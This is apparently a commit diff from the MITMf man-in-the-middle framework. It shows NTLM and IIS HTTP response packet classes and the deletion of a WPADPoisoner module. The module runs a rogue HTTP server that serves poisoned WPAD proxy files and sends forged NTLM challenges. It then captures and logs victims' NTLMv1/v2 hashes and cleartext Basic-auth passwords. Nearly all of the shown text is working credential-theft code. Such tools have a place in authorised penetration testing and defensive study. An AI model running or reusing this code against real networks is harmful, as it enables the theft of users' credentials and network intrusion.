("Av4Str", "server2003.smb.local"),
|
||||
("Av5", "\x05\x00"),#Domain Forest Name
|
||||
("Av5Len", "\x12\x00"),
|
||||
("Av5Str", "smb.local"),
|
||||
("Av6", "\x00\x00"),#AvPairs Terminator
|
||||
("Av6Len", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##First convert to uni
|
||||
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
|
||||
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
|
||||
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
|
||||
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
|
||||
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
|
||||
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
|
||||
|
||||
##Then calculate
|
||||
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
|
||||
|
||||
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
|
||||
|
||||
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
# Target Name Offsets
|
||||
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
|
||||
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
#AvPairs Offsets
|
||||
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
|
||||
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
#AvPairs StrLen
|
||||
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
|
||||
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
|
||||
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
|
||||
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
|
||||
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
|
||||
|
||||
#HTTP NTLM packet.
|
||||
class IIS_NTLM_Challenge_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWWAuth", "WWW-Authenticate: NTLM "),
|
||||
("Payload", ""),
|
||||
("Payload-CRLF", "\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
def calculate(self,payload):
|
||||
self.fields["Payload"] = b64encode(payload)
|
||||
|
||||
#HTTP Basic answer packet.
|
||||
class IIS_Basic_401_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: Basic realm=''\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
|
@ -1,157 +0,0 @@
|
|||
import socket
|
||||
import threading
|
||||
import logging
|
||||
import re
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.common import *
|
||||
from HTTPPackets import *
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class WPADPoisoner():
|
||||
|
||||
def start(self, options):
|
||||
|
||||
global args; args = options
|
||||
args.forceWpadAuth = False
|
||||
args.basic = False
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[WPADPoisoner] online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 80), HTTP)
|
||||
t = threading.Thread(name="HTTP", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[WPADPoisoner] Error starting on port {}: {}".format(80, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
#HTTP Server Class
|
||||
class HTTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
self.request.settimeout(1)
|
||||
data = self.request.recv(8092)
|
||||
buff = WpadCustom(data,self.client_address[0])
|
||||
if buff and args.forceWpadAuth is False:
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (no auth) file sent to: {}".format(self.client_address[0]))
|
||||
self.request.send(buff)
|
||||
else:
|
||||
buffer0 = PacketSequence(data,self.client_address[0])
|
||||
self.request.send(buffer0)
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
#Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPHash(data,client):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
if NthashLen == 24:
|
||||
NtHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
Hostname = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/HTTP-NTLMv1-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal
|
||||
WriteData(outfile,WriteHash, User+"::"+Hostname)
|
||||
mitmf_logger.info('[+]HTTP NTLMv1 hash captured from :%s'%(client))
|
||||
mitmf_logger.info('[+]HTTP NTLMv1 Hostname is :%s'%(Hostname))
|
||||
mitmf_logger.info('[+]HTTP NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
mitmf_logger.info('[+]HTTP NTLMv1 Complete hash is :%s'%(WriteHash))
|
||||
|
||||
if NthashLen > 24:
|
||||
NthashLen = 64
|
||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
outfile = "./logs/responder/HTTP-NTLMv2-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:]
|
||||
WriteData(outfile,WriteHash, User+"::"+Domain)
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 hash captured from :%s'%(client))
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 User is : %s'%(User))
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 Domain is :%s'%(Domain))
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName))
|
||||
mitmf_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash))
|
||||
|
||||
def WpadCustom(data,client):
|
||||
WPAD_Script = ConfigWatcher.getInstance().getConfig()["Responder"]['WPADScript']
|
||||
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad:
|
||||
buffer1 = WPADScript(Payload=WPAD_Script)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
else:
|
||||
return False
|
||||
|
||||
# Function used to check if we answer with a Basic or NTLM auth.
|
||||
def Basic_Ntlm(Basic):
|
||||
if Basic == True:
|
||||
return IIS_Basic_401_Ans()
|
||||
else:
|
||||
return IIS_Auth_401_Ans()
|
||||
|
||||
#Handle HTTP packet sequence.
|
||||
def PacketSequence(data,client):
|
||||
Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
|
||||
if Ntlm:
|
||||
packetNtlm = b64decode(''.join(Ntlm))[8:9]
|
||||
if packetNtlm == "\x01":
|
||||
r = NTLM_Challenge(ServerChallenge=Challenge)
|
||||
r.calculate()
|
||||
t = IIS_NTLM_Challenge_Ans()
|
||||
t.calculate(str(r))
|
||||
buffer1 = str(t)
|
||||
return buffer1
|
||||
if packetNtlm == "\x03":
|
||||
NTLM_Auth= b64decode(''.join(Ntlm))
|
||||
ParseHTTPHash(NTLM_Auth,client)
|
||||
if args.forceWpadAuth and WpadCustom(data,client):
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
|
||||
buffer1 = WpadCustom(data,client)
|
||||
return buffer1
|
||||
else:
|
||||
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
if BasicAuth:
|
||||
outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
|
||||
mitmf_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
|
||||
if args.forceWpadAuth and WpadCustom(data,client):
|
||||
mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client))
|
||||
buffer1 = WpadCustom(data,client)
|
||||
return buffer1
|
||||
else:
|
||||
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
else:
|
||||
return str(Basic_Ntlm(args.basic))
|
||||
|
Loading…
Add table
Add a link
Reference in a new issue